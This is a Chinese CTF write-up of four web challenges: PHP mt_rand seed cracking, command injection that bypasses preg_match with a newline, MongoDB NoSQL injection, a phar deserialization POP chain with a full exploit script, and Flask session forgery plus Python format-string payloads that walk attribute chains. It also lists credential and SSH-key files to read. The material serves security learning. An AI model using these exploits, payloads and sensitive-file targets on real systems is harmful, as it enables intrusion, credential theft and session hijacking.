1.用優惠碼 買個 X ?
(1)第一步:
這道題第一步主要知道利用php的隨機種子數泄露以后就可以利用該種子數來預測序列,而在題目中會返回15位的優惠碼,但是必須要24位的優惠碼,因此要根據15位的求出種子以后擴展到24位,這里的優惠碼因為是字符串形式的,所以需要整理成數字形式,也就是整理成方便 php_mt_seed 測試的格式。
<?php //生成優惠碼 $_SESSION['seed']=rand(0,999999999); function youhuima(){ mt_srand($_SESSION['seed']); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $auth=''; $len=15; for ( $i = 0; $i < $len; $i++ ){ if($i<=($len/2)) $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); else $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1); } setcookie('Auth', $auth); } ?>
比如我們現在有一條優惠碼為:
youhuima = "hM7HljJR5ZHzWGF"
生成優惠碼的字符串范圍為
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
此時我們可以利用已經有的優惠碼在字符串中找到其對應的位置,也就是mt_rand的每一次的值,因為前8位都是一樣的生成方式,所以我們只需要利用前8位來爆破出種子就可以了,因為php每次調用mt_rand使用的種子都是一樣的。
因此利用以下代碼還原優惠碼的位置,並按照php_mt_rand接受的形式生成:
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
也就是說當包含4個數字時,前兩個應該是mt_rand生成的邊界值,后面兩個應該是mt_rand的取值范圍。
所以有以下代碼:
<?php $str = "hM7HljJ"; #利用7位 $randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 測試的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] } echo "\n"; ?>
然后輸出為:
7 7 0 61 48 48 0 61 33 33 0 61 43 43 0 61 11 11 0 61 9 9 0 61 45 45 0 61
此時便可以運行php_mt_rand來爆破種子了:
此時有了種子,只要根據上面生成優惠碼的代碼跑一次,生成長度為24的優惠碼就可以了,到此第一步完成,主要知道在我們沒有設置種子數的時候,php會我們自動播種,並且每次生成隨機數都用的是相同的種子,因此可以爆破種子。
(2)第二步:
這一步主要熟悉php的preg_match函數的bypass技巧
//support if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //執行命令 }else { //flag字段和某些字符被過濾! } }else{ // 你的輸入不正確! }
這里使用了/im也就是不區分大小寫並且使用多行匹配的模式,那么在多行匹配中只要第一行滿足就會返回正確,所以只要使用多行來繞過就可以了,那么我們只要在第一行滿足的情況下添加一個換行符然后后面拼接payload就可以了,也就是1.1.1.1%0a即可。
繞過第一層的過濾以后,第二層對一些命令和flag字符串進行的過濾,並且不能大小寫繞過,並且也過濾了?和*這兩個通配符,因為已經知道flag在/下面,所以直接讀取:
可以以通過 f’la’g 或f[l][a]g等來繞過對flag的過濾,對文件可以用more,less命令也都行,如果非要用cat,也可以使用繞過flag相同的方法,這里我們使用grep -ri / flag* 就崩了,可能是查找的太多。
2.injection ???
這道題主要考nosql的注入,首先信息搜集以下,發現info.php,一般在phpinfo中我們可以看到php開了哪些擴展,在這里發現了mongodb,大膽猜測應該是php+mongodb,所以后面利用正則匹配出admin的密碼就可以了,沒啥好說的。
3.SimplePHP
以前一直懶,沒去看pop鏈的構造,剛好這次題目中有這個所以好好學習了一下。這道題主要考察的是phar的反序列以及pop鏈的構造,
利用phar文件會以序列化的形式存儲用戶自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。
該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作。
這里重點是可以不依賴unserialize()這個反序列化的函數,更加騷氣了。
有序列化數據必然會有反序列化操作,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,測試后受影響的函數如下:
update:https://blog.zsxsoft.com/post/38 這篇文章發現並不局限於文件函數,這是一個所有的和IO有關的函數都有可能觸發的問題,以下函數也可能發生此種問題,如果phar://
不能出現在頭幾個字符,可以在最前面加compress.bzip2://
orcompress.zlib://
這么多函數都會通過phar進行反序列化操作,而我們的利用點需要滿足:
1.phar文件要能夠上傳到服務器端。
2.要有可用的魔術方法作為“跳板”。
3.文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
下面來分析以下題目已經有的信息:
$file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
在這里會對我們傳的file文件調用file_exist()函數進行判斷是否存在,對照上圖可以發現這個函數的確存在漏洞,並且file是我們可以控制的。
那么利用點有了,下面就需要構造利用鏈,也就是pop鏈的構造,所以先去看看定義了哪些類,
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
一共有三個類,因為要反序列化,所以要找到對對象進行反序列時會執行的函數,我們知道:
析構函數__destruct():當對象被銷毀時會自動調用。 __wakeup() :如前所提,unserialize()時會自動調用。
但是在可以利用的類中有show類中有__wakeup(),但是這只是一個過濾函數,其中只執行了賦值操作,沒有利用的價值。剩下的就是在C1e4r這個類中存在__destruct()函數,所以我們的pop鏈的入口就是C1e4r這個類了,但是這個類中:
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
在執行反序列化以后只會輸出$this->test,還給了另外兩個類,肯定要關聯到另外兩個類,在show類中,存在__toString方法,所以只要令$this->test=show這個類的對象,就可以因為echo了show的對象而進一步調用
__toString()方法,因為我們最終需要訪問到flag.php文件,所以必須有個讀文件的函數,這里在test類中定義了file_get_contens()函數
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
只要讓$value為flag.php即可,那么向上走,$value = $this->params[$key],而這個$params是test的屬性,key是get的參數,又是__get的參數,而__get這個函數是當訪問類的不存在的屬性或者私有屬性時自動調用的魔術方法,因此得構造一個test的對象,並且讓這個對象訪問一個test類中不存在的方法,此時只有看show這個類了,因為在__toString中存在$content = $this->str['str']->source;所以我們可以,我們可以讓str['str']為test類的對象,從而調用source來調用test類的__get方法,並且令test這個類對象的params的鍵為source,鍵的值為flag對應的絕對路徑。
exp如下:
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params = array('source' => '/var/www/html/f1ag.php'); } $phar = new Phar("tr1ple.phar"); $phar->startBuffering(); $p1=new C1e4r(); $p2=new Show(); $p1->str=$p2; $p2->str['str']=new Test(); $phar->addFromString("tr1ple.txt", "success"); $phar->setMetadata($p1); $phar->stopBuffering();
pop鏈的構造就是通過類之間方法和屬性的聯系將他們環環相扣,要找好每個類之間的連接點。在反序列化后,原本的對象所帶的屬性將全部恢復,並且可以正常的調用原有類中的方法。
4.皇家線上賭場
我覺得這道題目還是在考察對python的熟悉程度,以及對linux系統的熟悉程度,有些比賽的題目中通過將一些敏感信息暴露在系統的配置文件中來讓我們找,可能在真實的實戰環境中也可以通過系統或應用的配置信息來得到一些可以利用的點。
系統通用的配置文件有:
/etc/passwd /etc/my.cnf /etc/shadow /etc/sysconfig/network-scripts/ifcfg-eth0 ip地址 /etc/hosts 通常配置了一些內網域名
文件讀取的情況下文件讀取的情況下當然可以可以讀取proc目錄下的文件來獲得更多系統的信息。
ssh免密碼登錄的秘鑰文件等 /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts 加密后的用戶口令位置 /etc/shadow 歷史命令 /root/.bash_history /root/.mysql_history 進程文件 /proc/self/fd/fd[0-9]* (文件標識符) 檢查已經被系統掛載的設備 /proc/mounts 機器的內核配置文件 /proc/config.gz window下 C:/boot.ini //查看系統版本 C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件 C:/Windows/repairsam //存儲系統初次安裝的密碼 C:/Program Files/mysqlmy.ini //Mysql配置 C:/Program Files/mysql/data/mysqluser.MYD //Mysql root C:/Windows/php.ini //php配置信息 C:/Windows/my.ini //Mysql配置信息
/proc/sched_debug 提供cpu上正在運行的進程信息,可以獲得進程的pid號,可以配合后面需要pid的利用 /proc/mounts 掛載的文件系統列表 /proc/net/arp arp表,可以獲得內網其他機器的地址 /proc/net/route 路由表信息 /proc/net/tcp and /proc/net/udp 活動連接的信息 /proc/net/fib_trie 路由緩存 /proc/version 內核版本 /proc/[PID]/cmdline 可能包含有用的路徑信息 /proc/[PID]/environ 程序運行的環境變量信息,可以用來包含getshell /proc/[PID]/cwd 當前進程的工作目錄 /proc/[PID]/fd/[#] 訪問file descriptors,某寫情況可以讀取到進程正在使用的文件,比如access.log
而在這道題目中明顯存在文件讀取的漏洞:
並且在題目中已經有給出的路徑樹以及tips:
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404)
從tips中可以看到,如果我們訪問的路徑中存在/home/ctf/web/app的話就會返回404。
因此我們以此絕對路徑去bypass訪問web目錄中的文件,這里又要用道python的一個trick,os.path.join
函數的一個特性:參數中的絕對路徑參數前面的所有參數會被忽略
所以此時就需要利用/proc目錄下的文件
當訪問/proc/self/environ時,會返回如下所示:
當訪問/etc/passwd的時候,會返回如下所示:
而通過/proc/self/maps
可以看到web路徑,但是並不能通過此web路徑來直接訪問文件,后面出題人說是禁止了直接訪問,此時就要用到上面說的其中一條:
/proc/[pid]/cwd是進程當前工作目錄的符號鏈接
因為前面已經出現過os.path.join('app/static', filename),所以當前路徑就是源碼所在的路徑,所以/proc/self/cwd/app/views.py,就能夠讀到文件,把能讀的都讀一遍,能讀到源碼的話,flask的題目肯定拿到secret key就可以偽造session了。
這里偽造session也是有點坑,因為題目的環境是python3.5寫的,所以用python2偽造的session無法通過,需要用python3的環境才行,不要一味的相信工具。
下面是出題人給的exp:
from flask.sessions import SecureCookieSessionInterface class App(object): secret_key = '9f516783b42730b7888008dd5c15fe66' s = SecureCookieSessionInterface().get_signing_serializer(App()) u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8') print(u) u['username'] = 'admin' print(s.dumps(u))
使用python3運行以后,出來的sesion就可以通過服務器端的校驗,這里只需要偽造username這一個字段就可以了,其他的服務端不作為身份校驗,到此以admin登陸以后第一步就完成了,接下來是第二步:
格式化字符串攻擊:
前置知識:
從python2.6開始,就有了用format來格式化字符串的新特性,它可以通過{}來確定出字符串格式的位置和關鍵字參數,並且隨時可以顯式對數據項重新排序。此外,它甚至可以訪問對象的屬性和數據項——這是導致這里的安全問題的根本原因。
這里貼兩個大佬的記錄鏈接:
1.https://github.com/bit4woo/code2sec.com/blob/master/Python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5.md
2.https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
看了大佬寫的文章以后,我覺得這個漏洞主要還是攻擊者能夠控制format的結果,從而通過當前環境可以訪問到的對象,比如user,order(必須是使用到的)等等,比如Django中request.user
是當前用戶對象,這個對象包含一個屬性password
,也就是該用戶的密碼。通過這些對象來構造一條屬性鏈到達一些全局的配置信息對象比如settings或其他敏感配置項,進而越權訪問一些環境中的配置信息和敏感信息,回到題目中:
__init__.py的代碼如下
from .app import Flask, Request, Response from .config import Config from .helpers import url_for, flash, send_file, send_from_directory, get_flashed_messages, get_template_attribute, make_response, safe_join, stream_with_context from .globals import current_app, g, request, session, _request_ctx_stack, _app_ctx_stack
可以看到current_app和g在同一個命名空間下,我們這里需要學習下g是啥:
### 保存全局變量的g屬性: g:global 1. g對象是專門用來保存用戶的數據的。 2. g對象在一次請求中的所有的代碼的地方,都是可以使用的。
getflag的路由如下,在我們登陸后
@app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
其中getattr函數是獲取當前對象的屬性,也就是獲取g對象的u這個屬性,當登陸以后,u.balance>1000000以后就會調用request.form.get函數來獲取field和username參數的值,為post方法。
接下來就會進行format,format為
'{{{field}:{g.u.field},hash: {mhash}}}'
這里format有三個點,0,1,2,我們可以控制的點有1后面,有大佬測試了field,也就是跟在g.u之后,借用他的圖,field=__class__,也就是g.u.__class__
顯示為app.models.User,說明類的繼承為user->models->app,所以應該先向上到models再到app,再讀g.flag,出題人提示了方法,所以可以直接使用
__class__.save.__globals__[db].__class__.__init__.__globals__
當到了這一步的時候,已經可以獲取到current_app這個類,它也就是flask的app了,因此到達這里就到達鏈條的頂端了,然后就向下找flag
可以看到app.before_request下面存在g,因此就可以通過current這個類來點用它來訪問g.flag,完整的payload
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
因為flag在g這個全局的對象下面,所以我們才能這樣訪問,先找g,再在g這個空間中去找flag
save.__globals__[db].__init__.__globals__[request].application.__self__._get_data_for_json.__globals__[current_app]._get_exc_class_and_code.__globals__[find_package].__globals__[_app_ctx_stack].top.g.flag
運用腳本尋找繼承鏈:
這個腳本是從python的request這個對象開始找,我們模擬將flag放在g的空間下,那么腳本就會自動利用python中自帶的類或對象去尋找g.flag
import flask import os from flask import request from flask import g from flask import config app = flask.Flask(__name__) def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj) @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(): g.flag = 'flag{}' for path, obj in search(request, 10): if obj == g.flag: return path if __name__ == '__main__': app.run(debug=True)